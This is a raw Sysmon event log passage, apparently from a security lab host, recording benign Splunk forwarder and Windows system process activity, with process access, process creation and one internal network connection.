10341000x800000000000000015529Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.753{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-716F-613B-D904-00000000F101}3896C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015528Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.754{625C326B-716F-613B-D904-00000000F101}3896C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015527Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.581{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E161DDB443E13FBD882160E20F418685,SHA256=F34AA41EC75F4E6600060EB335F3DAD0D17F70B6F813998DAD5CDBB1BBD18155,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015526Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:33.561{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50228-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000015525Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.456{625C326B-716F-613B-D804-00000000F101}40882320C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015524Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-716F-613B-D804-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015523Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015522Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015521Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015520Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015519Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015518Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015517Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015516Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015515Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015514Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-716F-613B-D804-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015513Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.237{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-716F-613B-D804-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015512Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.238{625C326B-716F-613B-D804-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015511Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:35.175{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=81459FC7848FE3F9476FC15F139CF6AF,SHA256=F4E7E23B7030F5DB1D5C8B5A89E8E5FD32574A25CFDD3965690DBD443F2356F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015556Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.862{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E217BCCEA64AA45F335442417B301702,SHA256=6EE1FEEE78703A9FD10C51B28A2933863C1755AB99E3CB15E9106C7D26C9D3EE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015555Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7170-613B-DA04-00000000F101}3332C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015554Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015553Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015552Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015551Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015550Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015549Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015548Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015547Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7170-613B-DA04-00000000F101}3332C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015546Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 